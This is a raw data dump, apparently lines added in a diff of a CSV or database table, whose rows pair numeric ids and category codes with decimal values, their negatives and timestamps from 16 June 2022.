+42453,4,11787,12.83965636,-12.83965636,2022-06-16 13:10:21.886316+00 +42454,4,11835,1.297645173,-1.297645173,2022-06-16 13:10:21.888138+00 +42455,4,11819,1.509802011,-1.509802011,2022-06-16 13:10:21.889025+00 +52867,2,13695,2.31875079,-2.31875079,2022-06-16 14:07:09.777912+00 +49290,6,13102,4.593984104,-4.593984104,2022-06-16 13:48:20.166111+00 +56867,6,14367,9.875798446,-9.875798446,2022-06-16 14:29:10.613202+00 +64453,6,15359,2.807347512,-2.807347512,2022-06-16 14:58:34.135012+00 +53359,4,13790,5.135342694,-5.135342694,2022-06-16 14:10:09.28906+00 +46703,4,12638,5.760320569,-5.760320569,2022-06-16 13:34:09.250886+00 +46704,4,12592,0.611934378,0,2022-06-16 13:34:09.254049+00 +46741,1,12584,14.98895932,-14.98895932,2022-06-16 13:34:17.687835+00 +53360,4,13822,1.499125692,-1.499125692,2022-06-16 14:10:09.292388+00 +53361,4,13760,1.17871635,-1.17871635,2022-06-16 14:10:09.293239+00 +53459,1,13823,1.697606332,-1.697606332,2022-06-16 14:10:44.81594+00 +50029,1,13247,2.140814794,-2.140814794,2022-06-16 13:52:23.760603+00 +47043,3,12671,7.336883424,-7.336883424,2022-06-16 13:36:04.210732+00 +50030,1,13230,2.405615471,-2.405615471,2022-06-16 13:52:23.764135+00 +47134,1,12733,2.901051342,-2.901051342,2022-06-16 13:36:14.719976+00 +47135,1,12717,2.335787262,-2.335787262,2022-06-16 13:36:14.723154+00 +47136,1,12701,9.516195772,-9.516195772,2022-06-16 13:36:14.723986+00 +44334,4,12073,11.60494376,-11.60494376,2022-06-16 13:19:07.167472+00 +44335,4,12057,11.69297631,-11.69297631,2022-06-16 13:19:07.170858+00 +44336,4,12081,12.32494676,-12.32494676,2022-06-16 13:19:07.171734+00 +47160,4,12635,4.261655454,-4.261655454,2022-06-16 13:36:24.56206+00 +47170,6,12718,5.004625664,-5.004625664,2022-06-16 13:36:30.788128+00 +50031,1,13246,1.877197429,-1.877197429,2022-06-16 13:52:23.765036+00 +50032,1,13160,14.64371097,-14.64371097,2022-06-16 13:52:23.765872+00 +50033,1,13231,2.782975142,-2.782975142,2022-06-16 13:52:23.766722+00 +53460,1,13759,1.694080646,-1.694080646,2022-06-16 14:10:44.819438+00 +50148,2,13215,8.387351286,-8.387351286,2022-06-16 13:53:05.555907+00 +53591,2,13737,10.71249889,-10.71249889,2022-06-16 14:12:04.928281+00 +44806,3,12223,8.015947368,-8.015947368,2022-06-16 13:22:05.79569+00 +44848,4,12286,2.343317363,-2.343317363,2022-06-16 13:22:14.953238+00 +44849,4,12247,13.58462956,-13.58462956,2022-06-16 13:22:14.954495+00 +44850,4,12246,14.22412475,-14.22412475,2022-06-16 13:22:14.955491+00 +44851,4,12271,2.787774742,-2.787774742,2022-06-16 13:22:14.956329+00 +44852,4,12255,6.103015524,-6.103015524,2022-06-16 13:22:14.957164+00 +44853,4,12205,1.87130415,-1.87130415,2022-06-16 13:22:14.95802+00 +44854,4,12173,13.88915742,-13.88915742,2022-06-16 13:22:14.958768+00 +44855,4,12189,7.56133026,-7.56133026,2022-06-16 13:22:14.959559+00 +44856,4,12287,2.156089627,-2.156089627,2022-06-16 13:22:17.778471+00 +44857,4,12117,9.624631677,-9.624631677,2022-06-16 13:22:17.781968+00 +53652,6,13608,25.78291239,-25.78291239,2022-06-16 14:12:11.510067+00 +53653,6,13672,25.70942601,-25.70942601,2022-06-16 14:12:11.51353+00 +53654,6,13736,25.63574105,-25.63574105,2022-06-16 14:12:11.514434+00 +53682,1,13800,14.29004369,-14.29004369,2022-06-16 14:12:20.819562+00 +47639,2,12458,3.712206599,-3.712206599,2022-06-16 13:39:14.379045+00 +50458,6,13227,2.688331488,-2.688331488,2022-06-16 13:54:29.619916+00 +50483,3,12973,4.505260499,-4.505260499,2022-06-16 13:54:38.977963+00 +53683,1,13824,0.882811573,-0.882811573,2022-06-16 14:12:20.820759+00 +50566,2,13279,8.378368526,-8.378368526,2022-06-16 13:55:05.456025+00 +53684,1,13784,6.29079109,-6.29079109,2022-06-16 14:12:20.821584+00 +45276,3,12336,2.647650177,0,2022-06-16 13:24:35.536968+00 +45292,4,12249,11.30142372,-11.30142372,2022-06-16 13:24:45.281281+00 +45295,1,12335,3.390193027,-3.390193027,2022-06-16 13:24:53.634894+00 +45296,1,12334,3.009888952,-3.009888952,2022-06-16 13:24:53.636169+00 +50603,2,13233,12.73326244,-12.73326244,2022-06-16 13:55:09.410588+00 +47900,6,12846,4.876326099,-4.876326099,2022-06-16 13:41:03.736401+00 +61208,2,14907,2.302583613,0,2022-06-16 14:47:14.582873+00 +47945,2,12847,3.516183202,-3.516183202,2022-06-16 13:41:05.757281+00 +45465,1,12413,2.974975819,-2.974975819,2022-06-16 13:26:08.637332+00 +45466,1,12381,9.722618377,-9.722618377,2022-06-16 13:26:08.640702+00 +54002,6,13917,4.73110113,-4.73110113,2022-06-16 14:14:29.159764+00 +50832,6,13342,9.710596977,-9.710596977,2022-06-16 13:56:26.204381+00 +48036,2,12633,13.18473054,-13.18473054,2022-06-16 13:41:24.525837+00 +50868,6,13359,4.53536234,-4.53536234,2022-06-16 13:56:27.799396+00 +54169,3,13950,6.774317096,-6.774317096,2022-06-16 14:16:04.757618+00 +50974,2,13342,7.360133904,-7.360133904,2022-06-16 13:57:05.237262+00 +54278,3,13931,5.122299498,-5.122299498,2022-06-16 14:16:37.615138+00 +48153,2,12825,13.09073543,-13.09073543,2022-06-16 13:42:14.568361+00 +61405,7,14768,12.46822226,0,2022-06-16 14:48:02.537699+00 +61471,4,15038,1.470213656,-1.470213656,2022-06-16 14:48:09.411822+00 +61472,4,14960,0.638430463,0,2022-06-16 14:48:09.413105+00 +61473,4,15006,4.644386264,-4.644386264,2022-06-16 14:48:09.413984+00 +61474,4,15022,1.01329785,-1.01329785,2022-06-16 14:48:09.41499+00 +61508,1,15038,1.474396774,-1.474396774,2022-06-16 14:48:18.141678+00 +54657,2,14016,3.434115261,-3.434115261,2022-06-16 14:19:05.088668+00 +54658,2,14001,11.08469194,-11.08469194,2022-06-16 14:19:05.092028+00 +51272,6,13397,6.527870496,-6.527870496,2022-06-16 13:58:25.615316+00 +51292,3,13371,5.501578836,-5.501578836,2022-06-16 13:58:27.620749+00 +51313,6,13438,3.428866669,-3.428866669,2022-06-16 13:58:31.718624+00 +51316,4,13331,5.939252032,-5.939252032,2022-06-16 13:58:33.83942+00 +51320,3,13101,4.389648004,-4.389648004,2022-06-16 13:58:39.398438+00 +54659,2,14002,10.92242425,-10.92242425,2022-06-16 14:19:05.092813+00 +61509,1,14976,0.789306777,-0.789306777,2022-06-16 14:48:18.142875+00 +51374,2,13422,3.13005249,-3.13005249,2022-06-16 13:59:05.398078+00 +61510,1,14960,0.455742913,0,2022-06-16 14:48:18.143763+00 +51391,2,13439,2.455166575,-2.455166575,2022-06-16 13:59:05.802177+00 +61525,6,14989,10.094574,-10.094574,2022-06-16 14:48:22.148973+00 +61526,4,14963,7.384898756,-7.384898756,2022-06-16 14:48:23.333999+00 +54839,3,14079,6.010064184,-6.010064184,2022-06-16 14:20:04.39917+00 +61527,4,14971,0.43512443,0,2022-06-16 14:48:23.335227+00 +54936,1,14066,9.99447053,-9.99447053,2022-06-16 14:20:23.926856+00 +54937,1,14058,2.253975153,-2.253975153,2022-06-16 14:20:23.928112+00 +48554,4,12906,5.661554287,-5.661554287,2022-06-16 13:44:18.001738+00 +54938,1,14042,9.859653451,-9.859653451,2022-06-16 14:20:23.929124+00 +54939,1,14035,7.611670114,-7.611670114,2022-06-16 14:20:23.929906+00 +54940,1,14076,11.38947125,-11.38947125,2022-06-16 14:20:23.930747+00 +61528,4,14923,13.14558928,-13.14558928,2022-06-16 14:48:23.335891+00 +59958,6,14797,10.21668059,-10.21668059,2022-06-16 14:42:06.891918+00 +42457,6,11885,1.5706162,-1.5706162,2022-06-16 13:10:26.154677+00 +45798,6,12477,1.597470101,-1.597470101,2022-06-16 13:28:11.425082+00 +45827,1,12392,15.14453072,-15.14453072,2022-06-16 13:28:20.634815+00 +42852,3,11902,8.964599246,-8.964599246,2022-06-16 13:12:03.750414+00 +45828,1,12408,6.5145904,-6.5145904,2022-06-16 13:28:20.636298+00 +42946,2,11901,5.076526477,-5.076526477,2022-06-16 13:12:19.538289+00 +42977,4,11859,6.867556739,-6.867556739,2022-06-16 13:12:30.110515+00 +45829,1,12416,1.06822608,-1.06822608,2022-06-16 13:28:20.637193+00 +45843,4,12371,6.567173556,-6.567173556,2022-06-16 13:28:30.096046+00 +45857,4,12409,11.03181687,-11.03181687,2022-06-16 13:28:39.157941+00 +52753,6,13627,2.31157996,-2.31157996,2022-06-16 14:06:32.206859+00 +43685,3,12030,8.735748382,-8.735748382,2022-06-16 13:16:03.939389+00 +57193,6,14446,2.855088037,-2.855088037,2022-06-16 14:30:24.519555+00 +53362,4,13709,12.70107834,-12.70107834,2022-06-16 14:10:11.443545+00 +49811,2,13182,2.574761721,-2.574761721,2022-06-16 13:51:05.69773+00 +46705,4,12663,10.19155765,-10.19155765,2022-06-16 13:34:11.493955+00 +46706,4,12662,10.86929713,-10.86929713,2022-06-16 13:34:11.497311+00 +46707,4,12631,13.26722387,-13.26722387,2022-06-16 13:34:11.498182+00 +46708,4,12630,13.83486992,-13.83486992,2022-06-16 13:34:11.499127+00 +46709,4,12557,13.55409575,-13.55409575,2022-06-16 13:34:11.49992+00 +44224,2,12077,4.337230256,-4.337230256,2022-06-16 13:18:24.411307+00 +46710,4,12605,2.03136645,-2.03136645,2022-06-16 13:34:11.500689+00 +46711,4,12608,1.279142025,-1.279142025,2022-06-16 13:34:11.501528+00 +46712,4,12655,2.474434871,-2.474434871,2022-06-16 13:34:11.502211+00 +46713,4,12654,2.646122088,-2.646122088,2022-06-16 13:34:11.502901+00 +46714,4,12639,5.93435903,-5.93435903,2022-06-16 13:34:11.503713+00 +46715,4,12573,7.134222448,-7.134222448,2022-06-16 13:34:11.504468+00 +46716,4,12671,1.909032081,-1.909032081,2022-06-16 13:34:11.505147+00 +53363,4,13725,6.005490066,-6.005490066,2022-06-16 14:10:11.447002+00 +53364,4,13741,0.961939668,-0.961939668,2022-06-16 14:10:11.447939+00 +53365,4,13757,1.995515522,-1.995515522,2022-06-16 14:10:11.448825+00 +53366,4,13823,1.407719081,-1.407719081,2022-06-16 14:10:11.449662+00 +53367,4,13791,5.421126374,-5.421126374,2022-06-16 14:10:11.450484+00 +50086,3,12909,4.555207948,-4.555207948,2022-06-16 13:52:38.766891+00 +47137,1,12649,5.55556637,-5.55556637,2022-06-16 13:36:17.719136+00 +47138,1,12633,5.617455969,-5.617455969,2022-06-16 13:36:17.722544+00 +44948,2,12286,3.100087898,-3.100087898,2022-06-16 13:23:05.485992+00 +47139,1,12672,1.045885975,-1.045885975,2022-06-16 13:36:17.723509+00 +44982,2,12203,4.822941849,-4.822941849,2022-06-16 13:23:14.444294+00 +47140,1,12657,6.014974172,-6.014974172,2022-06-16 13:36:17.724352+00 +47209,6,12656,2.010380345,0,2022-06-16 13:36:45.683307+00 +45081,3,12350,8.430463861,-8.430463861,2022-06-16 13:24:03.868639+00 +45111,3,12270,10.20390833,-10.20390833,2022-06-16 13:24:05.541896+00 +53655,4,13805,0.934428939,-0.934428939,2022-06-16 14:12:13.84415+00 +53656,4,13887,1.386642888,-1.386642888,2022-06-16 14:12:13.847493+00 +53657,4,13855,5.392789263,-5.392789263,2022-06-16 14:12:13.848312+00 +53658,4,13773,12.65971853,-12.65971853,2022-06-16 14:12:13.849167+00 +53659,4,13821,1.984553463,-1.984553463,2022-06-16 14:12:13.85064+00 +50526,6,13310,3.470887687,-3.470887687,2022-06-16 13:54:56.438922+00 +45334,6,12010,6.543444078,-6.543444078,2022-06-16 13:25:04.176315+00 +53660,4,13789,5.946105684,-5.946105684,2022-06-16 14:12:13.851445+00 +53661,4,13871,1.851490303,-1.851490303,2022-06-16 14:12:13.852554+00 +53662,4,13717,7.230394275,-7.230394275,2022-06-16 14:12:13.853468+00 +53663,4,13781,7.209231643,-7.209231643,2022-06-16 14:12:13.854444+00 +45467,4,12352,1.306872895,-1.306872895,2022-06-16 13:26:08.77227+00 +45488,1,12373,12.06090082,-12.06090082,2022-06-16 13:26:14.635115+00 +45530,6,12336,1.989461688,0,2022-06-16 13:26:25.117679+00 +45549,1,12312,7.23983564,-7.23983564,2022-06-16 13:26:29.633199+00 +45550,1,12344,6.553447309,-6.553447309,2022-06-16 13:26:29.634676+00 +50757,6,13341,5.136315279,-5.136315279,2022-06-16 13:56:08.056824+00 +54003,4,13843,5.655865781,-5.655865781,2022-06-16 14:14:30.671912+00 +47832,3,12779,6.733191318,-6.733191318,2022-06-16 13:40:16.606633+00 +47861,2,12781,4.001568528,-4.001568528,2022-06-16 13:40:24.424009+00 +47947,2,12862,2.758179139,-2.758179139,2022-06-16 13:41:05.787948+00 +50943,6,13267,12.69121169,-12.69121169,2022-06-16 13:57:04.394624+00 +57965,6,14416,26.55055909,-26.55055909,2022-06-16 14:33:38.952017+00 +48008,4,12792,7.485524916,-7.485524916,2022-06-16 13:41:19.130033+00 +48058,4,12696,8.20611019,-8.20611019,2022-06-16 13:41:46.669431+00 +61529,4,14955,0.434067223,0,2022-06-16 14:48:23.336642+00 +58205,6,14549,5.334935308,-5.334935308,2022-06-16 14:34:30.873803+00 +48134,3,12847,8.780633351,-8.780633351,2022-06-16 13:42:06.013255+00 +48135,3,12911,8.724577386,-8.724577386,2022-06-16 13:42:06.019277+00 +61530,4,14939,3.662392716,-3.662392716,2022-06-16 14:48:23.337275+00 +48154,1,12842,3.258505452,-3.258505452,2022-06-16 13:42:14.743795+00 +48155,1,12843,1.706551108,-1.706551108,2022-06-16 13:42:14.747331+00 +54706,6,13802,4.987369842,-4.987369842,2022-06-16 14:19:13.107833+00 +48217,3,12912,2.67544438,0,2022-06-16 13:42:36.486255+00 +51273,4,13371,0.909147707,-0.909147707,2022-06-16 13:58:25.927322+00 +51274,4,13355,0.984308763,-0.984308763,2022-06-16 13:58:25.931264+00 +51293,6,13405,5.054377856,-5.054377856,2022-06-16 13:58:27.64792+00 +51315,6,13421,0.871892671,-0.871892671,2022-06-16 13:58:33.008032+00 +54840,2,13993,10.23544785,-10.23544785,2022-06-16 14:20:04.981454+00 +48354,2,12926,2.707886307,-2.707886307,2022-06-16 13:43:05.872215+00 +58481,4,14489,7.628770005,-7.628770005,2022-06-16 14:35:40.216184+00 +51355,2,13376,3.69019003,-3.69019003,2022-06-16 13:59:05.026118+00 +51356,2,13337,11.706714,-11.706714,2022-06-16 13:59:05.029462+00 +51357,2,13338,11.45012285,-11.45012285,2022-06-16 13:59:05.030305+00 +51358,2,13362,11.67953583,-11.67953583,2022-06-16 13:59:05.031114+00 +48417,3,12990,7.744166743,-7.744166743,2022-06-16 13:44:04.058187+00 +54878,3,14062,7.867736624,-7.867736624,2022-06-16 14:20:06.140313+00 +58482,4,14513,8.195278336,-8.195278336,2022-06-16 14:35:40.21952+00 +54945,2,14061,2.779715071,-2.779715071,2022-06-16 14:20:24.429448+00 +61824,6,14944,10.20036621,-10.20036621,2022-06-16 14:49:30.807397+00 +42458,1,11885,2.812193089,-2.812193089,2022-06-16 13:10:26.570844+00 +42459,1,11901,3.250436186,-3.250436186,2022-06-16 13:10:26.572436+00 +42478,3,11565,5.946443562,-5.946443562,2022-06-16 13:10:33.229281+00 +59961,4,14814,4.727407445,-4.727407445,2022-06-16 14:42:08.951328+00 +59962,4,14768,0.628561191,0,2022-06-16 14:42:08.952119+00 +59980,4,14613,6.332613943,-6.332613943,2022-06-16 14:42:13.381953+00 +49184,3,13119,6.776996388,-6.776996388,2022-06-16 13:48:04.967799+00 +42948,4,11891,9.399447887,-9.399447887,2022-06-16 13:12:21.629904+00 +59981,4,14677,6.315599767,-6.315599767,2022-06-16 14:42:13.383186+00 +46175,1,12541,2.949787449,-2.949787449,2022-06-16 13:30:44.71331+00 +46176,1,12509,9.658043131,-9.658043131,2022-06-16 13:30:44.716702+00 +46216,1,12450,11.86658222,-11.86658222,2022-06-16 13:30:50.694338+00 +46217,1,12442,11.44357779,-11.44357779,2022-06-16 13:30:50.695827+00 +46218,1,12464,0.500125807,0,2022-06-16 13:30:50.696806+00 +46219,1,12480,1.065192047,-1.065192047,2022-06-16 13:30:50.697795+00 +46220,1,12474,11.90113266,-11.90113266,2022-06-16 13:30:50.698814+00 +52957,4,13617,9.527621698,-9.527621698,2022-06-16 14:07:52.997752+00 +52998,2,13610,2.869636689,-2.869636689,2022-06-16 14:08:04.999337+00 +49461,2,13119,2.555362867,-2.555362867,2022-06-16 13:49:09.525921+00 +43917,2,12032,3.730642173,-3.730642173,2022-06-16 13:17:05.054227+00 +53146,6,13727,10.674077,-10.674077,2022-06-16 14:08:45.478064+00 +46802,6,12654,5.100188479,-5.100188479,2022-06-16 13:34:36.056725+00 +46827,4,12536,7.603368917,-7.603368917,2022-06-16 13:34:39.035001+00 +60373,6,14752,10.6714308,-10.6714308,2022-06-16 14:43:59.978846+00 +60456,6,14894,2.20641514,-2.20641514,2022-06-16 14:44:10.1979+00 +47141,4,12650,5.922478831,-5.922478831,2022-06-16 13:36:18.111026+00 +47163,1,12643,20.24653854,-20.24653854,2022-06-16 13:36:26.690454+00 +47164,1,12627,8.865778998,-8.865778998,2022-06-16 13:36:26.691741+00 +44552,1,12139,2.13107116,-2.13107116,2022-06-16 13:20:14.628791+00 +50087,1,13245,2.952285201,-2.952285201,2022-06-16 13:52:44.793099+00 +50088,1,13229,1.870095063,-1.870095063,2022-06-16 13:52:44.796428+00 +47253,2,12719,3.582471061,-3.582471061,2022-06-16 13:37:05.419158+00 +50089,1,13213,9.217203973,-9.217203973,2022-06-16 13:52:44.797297+00 +44776,3,12219,6.722705786,-6.722705786,2022-06-16 13:22:05.153858+00 +57635,6,14511,2.974801333,-2.974801333,2022-06-16 14:32:14.976195+00 +50209,6,13184,4.073098532,-4.073098532,2022-06-16 13:53:13.578489+00 +53818,2,13803,3.717045377,-3.717045377,2022-06-16 14:13:14.420242+00 +53872,3,13886,6.841477313,-6.841477313,2022-06-16 14:14:04.303404+00 +47577,6,12749,11.22442396,-11.22442396,2022-06-16 13:38:45.138431+00 +50414,6,13232,2.035892891,0,2022-06-16 13:54:16.297412+00 +45083,3,12287,7.918106559,-7.918106559,2022-06-16 13:24:03.913654+00 +47667,6,12783,5.084280561,-5.084280561,2022-06-16 13:39:36.124299+00 +45186,6,12350,4.369375197,-4.369375197,2022-06-16 13:24:11.225598+00 +54067,2,13919,8.031929084,-8.031929084,2022-06-16 14:15:05.509564+00 +45235,6,12349,1.618823414,-1.618823414,2022-06-16 13:24:21.633578+00 +54172,3,13951,6.100542596,-6.100542596,2022-06-16 14:16:04.844537+00 +54217,4,13952,1.160148124,-1.160148124,2022-06-16 14:16:07.741981+00 +47867,6,12821,7.094194834,-7.094194834,2022-06-16 13:40:28.375797+00 +54242,4,13930,4.503442679,-4.503442679,2022-06-16 14:16:15.700494+00 +45473,4,12414,2.283096932,-2.283096932,2022-06-16 13:26:14.046538+00 +45474,4,12382,6.075348297,-6.075348297,2022-06-16 13:26:14.049961+00 +45475,4,12398,2.90114021,-2.90114021,2022-06-16 13:26:14.050835+00 +45476,4,12349,2.131268793,-2.131268793,2022-06-16 13:26:14.05174+00 +45477,4,12301,13.81812036,-13.81812036,2022-06-16 13:26:14.052508+00 +45478,4,12333,1.789609676,-1.789609676,2022-06-16 13:26:14.053256+00 +45479,4,12407,10.39118821,-10.39118821,2022-06-16 13:26:14.054012+00 +45480,4,12406,11.04207242,-11.04207242,2022-06-16 13:26:14.054716+00 +45481,4,12317,7.408090304,-7.408090304,2022-06-16 13:26:14.055506+00 +45482,4,12415,2.086391114,-2.086391114,2022-06-16 13:26:14.056273+00 +45483,4,12375,13.44134063,-13.44134063,2022-06-16 13:26:14.056901+00 +45484,4,12374,14.07084501,-14.07084501,2022-06-16 13:26:14.05754+00 +45485,4,12399,2.682029694,-2.682029694,2022-06-16 13:26:14.058172+00 +45486,4,12181,9.450538423,-9.450538423,2022-06-16 13:26:14.058884+00 +45487,4,12309,9.418412662,-9.418412662,2022-06-16 13:26:14.059544+00 +47926,2,12830,7.524121489,-7.524121489,2022-06-16 13:41:05.272531+00 +58128,6,14523,1.747597454,-1.747597454,2022-06-16 14:34:10.52851+00 +61263,4,14889,7.116004638,-7.116004638,2022-06-16 14:47:32.634015+00 +61264,4,14873,7.159688767,-7.159688767,2022-06-16 14:47:32.63732+00 +58270,1,14524,10.91880398,-10.91880398,2022-06-16 14:34:57.053983+00 +48009,2,12521,13.39894604,-13.39894604,2022-06-16 13:41:19.310778+00 +48010,2,12649,13.33140967,-13.33140967,2022-06-16 13:41:19.314611+00 +48011,2,12505,13.45251778,-13.45251778,2022-06-16 13:41:19.315491+00 +48012,2,12569,13.38493374,-13.38493374,2022-06-16 13:41:19.316437+00 +48013,2,12697,13.31777576,-13.31777576,2022-06-16 13:41:19.317265+00 +48014,2,12761,13.25104199,-13.25104199,2022-06-16 13:41:19.318088+00 +58271,1,14515,10.50462369,-10.50462369,2022-06-16 14:34:57.057252+00 +58272,1,14364,10.93814203,-10.93814203,2022-06-16 14:34:57.058067+00 +51004,2,13374,2.452585021,-2.452585021,2022-06-16 13:57:05.839048+00 +48077,4,12785,11.16112187,-11.16112187,2022-06-16 13:41:52.064279+00 +58273,1,14491,5.466464726,-5.466464726,2022-06-16 14:34:57.058945+00 +58274,1,14428,10.89522863,-10.89522863,2022-06-16 14:34:57.059744+00 +58275,1,14492,10.85255514,-10.85255514,2022-06-16 14:34:57.060484+00 +48156,4,12861,2.061344625,-2.061344625,2022-06-16 13:42:15.599269+00 +48157,4,12813,13.36337467,-13.36337467,2022-06-16 13:42:15.602707+00 +48158,4,12845,1.385441902,-1.385441902,2022-06-16 13:42:15.60369+00 +48159,4,12829,6.860947175,-6.860947175,2022-06-16 13:42:15.604479+00 +48160,4,12919,9.992354639,-9.992354639,2022-06-16 13:42:15.605233+00 +48161,4,12918,10.72316615,-10.72316615,2022-06-16 13:42:15.606018+00 +48162,4,12887,13.06119885,-13.06119885,2022-06-16 13:42:15.606818+00 +48163,4,12886,13.60533546,-13.60533546,2022-06-16 13:42:15.607537+00 +48164,4,12911,2.286263851,-2.286263851,2022-06-16 13:42:15.608166+00 +48165,4,12863,1.764372876,-1.764372876,2022-06-16 13:42:15.608811+00 +48166,4,12927,1.761312921,-1.761312921,2022-06-16 13:42:15.609445+00 +48167,4,12757,8.709434444,-8.709434444,2022-06-16 13:42:15.610032+00 +48168,4,12821,8.681152005,-8.681152005,2022-06-16 13:42:15.610691+00 +58276,1,14508,11.11747432,-11.11747432,2022-06-16 14:34:57.06128+00 +48199,1,12911,2.989115689,-2.989115689,2022-06-16 13:42:20.743122+00 +48200,1,12927,2.315105126,-2.315105126,2022-06-16 13:42:20.744202+00 +48218,3,12589,4.793159388,-4.793159388,2022-06-16 13:42:37.464765+00 +58342,2,14575,2.048643879,-2.048643879,2022-06-16 14:35:05.905045+00 +48246,1,12825,5.376839819,-5.376839819,2022-06-16 13:42:41.746611+00 +48247,1,12849,5.88878372,-5.88878372,2022-06-16 13:42:41.747925+00 +48248,1,12841,5.303256643,-5.303256643,2022-06-16 13:42:41.748805+00 +61265,4,14897,7.715789269,-7.715789269,2022-06-16 14:47:32.638197+00 +42460,4,11736,8.57817362,-8.57817362,2022-06-16 13:10:27.733811+00 +48892,6,13038,4.691832645,-4.691832645,2022-06-16 13:46:10.646802+00 +42693,6,11903,4.752537616,-4.752537616,2022-06-16 13:11:07.769273+00 +59963,4,14784,1.04326476,-1.04326476,2022-06-16 14:42:11.240518+00 +49018,2,12976,1.817021772,0,2022-06-16 13:47:05.025564+00 +42855,3,11903,8.498687233,-8.498687233,2022-06-16 13:12:03.820729+00 +59964,4,14765,0.667512523,0,2022-06-16 14:42:11.243812+00 +42954,4,11832,7.78130266,-7.78130266,2022-06-16 13:12:25.664558+00 +42976,1,11925,12.45838136,-12.45838136,2022-06-16 13:12:29.573117+00 +59965,4,14749,5.210790084,-5.210790084,2022-06-16 14:42:11.244627+00 +46180,4,12376,8.337459552,-8.337459552,2022-06-16 13:30:46.202576+00 +59966,4,14733,12.02055586,-12.02055586,2022-06-16 14:42:11.245448+00 +59967,4,14781,1.715903207,-1.715903207,2022-06-16 14:42:11.246238+00 +46401,3,12539,6.508225814,-6.508225814,2022-06-16 13:32:11.19591+00 +43343,6,12031,4.614987716,-4.614987716,2022-06-16 13:14:12.289359+00 +63981,2,15232,3.221242168,-3.221242168,2022-06-16 14:57:06.056696+00 +63982,2,15194,10.57246195,-10.57246195,2022-06-16 14:57:06.060175+00 +63983,2,15218,10.1289747,-10.1289747,2022-06-16 14:57:06.061008+00 +60295,4,14745,7.317443284,-7.317443284,2022-06-16 14:43:37.98562+00 +57282,6,14445,0.534864842,0,2022-06-16 14:30:46.446619+00 +46804,6,12670,4.069098024,-4.069098024,2022-06-16 13:34:36.179142+00 +43744,1,11995,6.439818077,-6.439818077,2022-06-16 13:16:11.60309+00 +43745,1,12002,12.64356775,-12.64356775,2022-06-16 13:16:11.606307+00 +43746,1,12001,9.760759903,-9.760759903,2022-06-16 13:16:11.607253+00 +43747,1,12011,2.235583876,-2.235583876,2022-06-16 13:16:11.608036+00 +43748,1,12018,12.44606091,-12.44606091,2022-06-16 13:16:11.608832+00 +43749,1,12026,12.6625317,-12.6625317,2022-06-16 13:16:11.609702+00 +43750,1,11994,12.26952952,-12.26952952,2022-06-16 13:16:11.610543+00 +43751,1,12032,1.170941487,-1.170941487,2022-06-16 13:16:11.61122+00 +43752,1,12003,20.58242798,-20.58242798,2022-06-16 13:16:11.611894+00 +43753,1,12027,1.915982137,-1.915982137,2022-06-16 13:16:11.6129+00 +43754,1,12019,12.72289912,-12.72289912,2022-06-16 13:16:11.613559+00 +43755,1,12010,4.355320788,-4.355320788,2022-06-16 13:16:11.61424+00 +60296,4,14761,7.253466655,-7.253466655,2022-06-16 14:43:37.989165+00 +57640,1,14442,1.930298746,-1.930298746,2022-06-16 14:32:14.985568+00 +57641,1,14449,4.548572289,-4.548572289,2022-06-16 14:32:14.986619+00 +50090,1,13184,0.975457031,-0.975457031,2022-06-16 13:52:47.790111+00 +47142,1,12656,0.493135512,0,2022-06-16 13:36:20.717487+00 +47165,1,12664,6.355474341,-6.355474341,2022-06-16 13:36:29.690175+00 +47166,1,12734,2.153418157,-2.153418157,2022-06-16 13:36:29.69171+00 +47167,1,12718,2.724968305,-2.724968305,2022-06-16 13:36:29.692691+00 +47168,1,12702,5.977373412,-5.977373412,2022-06-16 13:36:29.693608+00 +50091,1,13161,5.052239296,-5.052239296,2022-06-16 13:52:47.793522+00 +50092,1,13169,5.558796962,-5.558796962,2022-06-16 13:52:47.794373+00 +50093,1,13168,0.466576031,0,2022-06-16 13:52:47.795232+00 +50094,1,13205,11.40306624,-11.40306624,2022-06-16 13:52:47.795995+00 +50095,1,13145,5.103425235,-5.103425235,2022-06-16 13:52:47.796743+00 +50096,1,13147,5.821943688,-5.821943688,2022-06-16 13:52:47.797561+00 +50115,1,13139,8.151705152,-8.151705152,2022-06-16 13:53:02.757091+00 +53874,3,13887,6.167563679,-6.167563679,2022-06-16 14:14:04.346431+00 +57642,1,14485,10.08454528,-10.08454528,2022-06-16 14:32:14.987362+00 +57677,4,14442,3.805696376,-3.805696376,2022-06-16 14:32:18.220444+00 +54005,6,13933,0.692102913,-0.692102913,2022-06-16 14:14:34.391788+00 +47611,2,12783,3.569359059,-3.569359059,2022-06-16 13:39:05.834486+00 +44951,2,12287,3.084329968,-3.084329968,2022-06-16 13:23:05.537169+00 +57695,4,14451,7.803138431,-7.803138431,2022-06-16 14:32:23.23827+00 +57696,4,14411,13.39532741,-13.39532741,2022-06-16 14:32:23.239465+00 +57698,4,14459,0.566149343,-0.566149343,2022-06-16 14:32:23.240323+00 +50415,1,13224,14.57227524,-14.57227524,2022-06-16 13:54:17.7797+00 +47720,4,12697,10.64710802,-10.64710802,2022-06-16 13:39:52.448193+00 +47721,4,12721,11.24370223,-11.24370223,2022-06-16 13:39:52.451547+00 +50443,4,13243,0.939942389,-0.939942389,2022-06-16 13:54:25.215706+00 +45188,6,12287,4.381291523,-4.381291523,2022-06-16 13:24:11.254075+00 +45189,6,12351,4.36469958,-4.36469958,2022-06-16 13:24:11.257483+00 +57699,4,14443,0.644870016,-0.644870016,2022-06-16 14:32:23.241063+00 +57700,4,14427,3.820318359,-3.820318359,2022-06-16 14:32:23.241762+00 +50529,6,13311,3.583293657,-3.583293657,2022-06-16 13:54:56.496694+00 +47871,6,12829,5.488882674,-5.488882674,2022-06-16 13:40:30.281531+00 +50570,2,13294,3.181712941,-3.181712941,2022-06-16 13:55:05.545954+00 +57854,2,14494,6.911939961,-6.911939961,2022-06-16 14:33:05.533172+00 +48015,7,12525,14.51629847,-14.51629847,2022-06-16 13:41:20.080157+00 +45489,2,12394,4.052524567,-4.052524567,2022-06-16 13:26:17.014264+00 +45522,7,12202,6.216456082,-6.216456082,2022-06-16 13:26:22.837087+00 +48016,7,12589,14.2761463,-14.2761463,2022-06-16 13:41:20.083664+00 +48017,7,12653,14.03848459,-14.03848459,2022-06-16 13:41:20.084479+00 +48018,7,12717,13.80312993,-13.80312993,2022-06-16 13:41:20.085257+00 +48019,7,12781,13.56989299,-13.56989299,2022-06-16 13:41:20.08604+00 +54535,4,14016,1.154308394,-1.154308394,2022-06-16 14:18:14.454703+00 +54536,4,13965,12.49380596,-12.49380596,2022-06-16 14:18:14.457831+00 +48078,4,12760,8.182182193,-8.182182193,2022-06-16 13:41:54.730033+00 